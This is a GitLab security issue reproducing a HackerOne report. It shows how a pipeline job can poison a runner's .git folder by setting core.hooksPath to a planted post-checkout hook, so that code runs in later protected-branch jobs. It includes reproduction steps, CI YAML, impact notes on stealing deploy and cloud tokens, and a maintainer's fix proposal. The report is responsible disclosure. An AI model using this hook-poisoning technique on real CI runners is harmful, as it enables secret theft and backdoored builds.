Poisoning of `.git/` in runner results in arbitrary code execution on all future jobs. (including ones for protected branches)

HackerOne report #1191195 by wapiflapi on 2021-05-10, assigned to @rchan-gitlab:

Report

Summary

It is possible to poison the .git/ folder in a runner so that arbitrary code is executed on all future jobs.

This has the same effect as 1177453 but (probably) with a different root cause. This report is concerned with the integrity of the .git/ folder, without the need for the git-template. Maybe this will be a duplicate but I wanted to make sure this attack vector wasn't overlooked. I'm sorry if it was already obvious.

When the runner sets up the repository before running the job it re-uses the existing .git/ folder without ensuring its integrity. That folder could have been manipulated by a user with developer permissions, or any permissions allowing them to run a pipeline, allowing them to get code execution in the context of a protected branch and even in the context of the final build that will be deployed to other environments.

Steps to reproduce

Set up a new project on gitlab.com

Set-up a new project on gitlab.com
Disable Shared Runners in Settings > CI/CD > Runners. We do not want to poison gitlab.com's runners. (Note: if you do want to target the shared runners because there are a lot of them later you might not always hit the one you poisoned.)

Let's add a specific runner for this PoC on a server:

$ sudo docker run --rm -it -v /srv/gitlab-runner/config:/etc/gitlab-runner gitlab/gitlab-runner register

This will ask some questions and output something like:

Runtime platform                                    arch=amd64 os=linux pid=6 revision=7f7a4bb0 version=13.11.0  
Running in system-mode.                              
                                                     
Enter the GitLab instance URL (for example, https://gitlab.com/):  
https://gitlab.com/  
Enter the registration token:  
<CENSORED>  
Enter a description for the runner:  
[e89391c6eb81]: soon-to-be-poisoned-runner  
Enter tags for the runner (comma-separated):

Registering runner... succeeded                     runner=r7awLLED  
Enter an executor: docker-ssh, parallels, docker+machine, docker-ssh+machine, kubernetes, docker, shell, ssh, virtualbox, custom:  
docker  
Enter the default Docker image (for example, ruby:2.6):  
ubuntu  
Runner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded!

Now start the runner:

$ sudo docker run --rm -it -v /srv/gitlab-runner/config:/etc/gitlab-runner  -v /var/run/docker.sock:/var/run/docker.sock -p 8093:33380 gitlab/gitlab-runner  
Runtime platform                                    arch=amd64 os=linux pid=6 revision=7f7a4bb0 version=13.11.0  
Starting multi-runner from /etc/gitlab-runner/config.toml...  builds=0  
Running in system-mode.                              
[..]

Add a .gitlab-ci.yml file to the master branch.

test:  
  script:  
    - echo "This test is not doing anything dangerous."

Make sure the pipeline for the master branch has run successfully and nothing suspicious happened (yet).

Step in the shoes of an attacker

Create a feature/poison branch and modify the .gitlab-ci.yml to include the following code:

test:  
  image: ubuntu  
  script:  
    - grep hooksPath .git/config && exit  
    - echo "[core]" >> .git/config  
    - echo "	hooksPath = $CI_PROJECT_DIR/.git/evil" >> .git/config  
    - mkdir -p "$CI_PROJECT_DIR/.git/evil/"  
    - echo "#! /bin/sh" >> "$CI_PROJECT_DIR/.git/evil/post-checkout"  
    - echo "echo Executed evil code in post-checkout." >> "$CI_PROJECT_DIR/.git/evil/post-checkout"  
    - chmod +x "$CI_PROJECT_DIR/.git/evil/post-checkout"

What this does is change where git will look for hooks and install a malicious post-checkout hook inside the .git directory.

This is just an example, there are a lot of other ways that the .git directory can be abused to get code execution. Going as far as corrupting the git objects themselves because integrity isn't always checked, but there is a lot of more low hanging fruit.

Check that the pipeline for the feature/poison branch has finished.
Now the attacker waits til any other pipeline is executed, for this PoC you can trigger a pipeline on the master branch.

Notice how the pipeline for the master branch now contains a message saying "Executed evil code in post-checkout."

Impact

If a user has enough privilege to push code and trigger a pipeline on any branch (eg: developer), they can poison a gitlab runner and execute code on all future jobs in the context of protected branches. This elevates their privilege considerably.

For example:

A developer could leak sensitive information from protected environnement variables. (deploy tokens, registry access, AWS tokens, etc.)
A developer could alter the build process and backdoor the final product without detection because they wouldn't be touching the git repo.
They could cause a Denial of Service by aborting all job executions. This can not simply be fixed by pushing to the project, it requires a manual intervention on the runner to clean the poisoned files.

Examples

Because most of the process for this bug is so similar to 1177453 I did not bother to set up an example repository on gitlab.com. If this would be useful please let me know and I will do it.

What is the current bug behavior?

Jobs trust the integrity of the .git directory when this should not be the case. The cleaning that is in place is not enough (eg: removing post-checkout at its default location), and I don't think a "cleaning" approach could be sufficiently resilient.

What is the expected correct behavior?

The .git folder should be restored from a trusted source after having be exposed to untrusted code.

Keep in mind that this PoC is just an example, there are a lot of other ways that the .git directory can be abused to get code execution. Going as far as corrupting the git objects themselves because integrity isn't always checked, but there is a lot of more low hanging fruit.

Relevant logs and/or screenshots

N/A

Output of checks

This bug happens on GitLab.com

Impact

This is a repeat of the Impact section in the description.

For example:

A developer could leak sensitive information from protected environnement variables. (deploy tokens, registry access, AWS tokens, etc.)
A developer could alter the build process and backdoor the final product without detection because they wouldn't be touching the git repo.
They could cause a Denial of Service by aborting all job executions. This can not simply be fixed by pushing to the project, it requires a manual intervention on the runner to clean the poisoned files.

How To Reproduce

Please add reproducibility information to this section:

Proposal

A whitelist approach turns out to be a very brittle solution to this security hole. Any time a new version of Git comes out we may need to revisit this logic.

In addition to this, the engineering complexity of sanitizing a git directory seems to outweigh the benefits. For instance, since by default we do a shallow clone, git depends on the $GIT_DIR/shallow file to know which commits it can treat as root commits. Otherwise it will try finding the parents and will end up with an error message:

Reinitialized existing Git repository in /Users/johncai/Projects/gitlab-runner/out/binaries/builds/TvK95gDL/0/jcaigitlab/helloworld/.git/
error: Could not read d4ab34d9e06dddb2c94857afba87cc3b3d5c0b35
fatal: Failed to traverse parents of commit 503287e5080aef53a7d79cdb7604d8b23f3eb1bf
error: remote did not send all necessary objects

So if we wanted to be safe we would need to delete the $GIT_DIR/shallow file and recreate it by manually writing in the commits that belongs in there.

Since this security issue falls into the category of insecure configuration, I don't think it's worth it to over-engineer a solution here.

My proposal is to cut scope and just "sanitize" the git directory by only removing the config file since that protects us from arbitrary code execution through git hooks, which in my opinion is the biggest risk. We already reinitialize the config on each build. This way, we can decrease the surface area of the attack vector but we add very little complexity to the system.

Edited Sep 22, 2021 by John Cai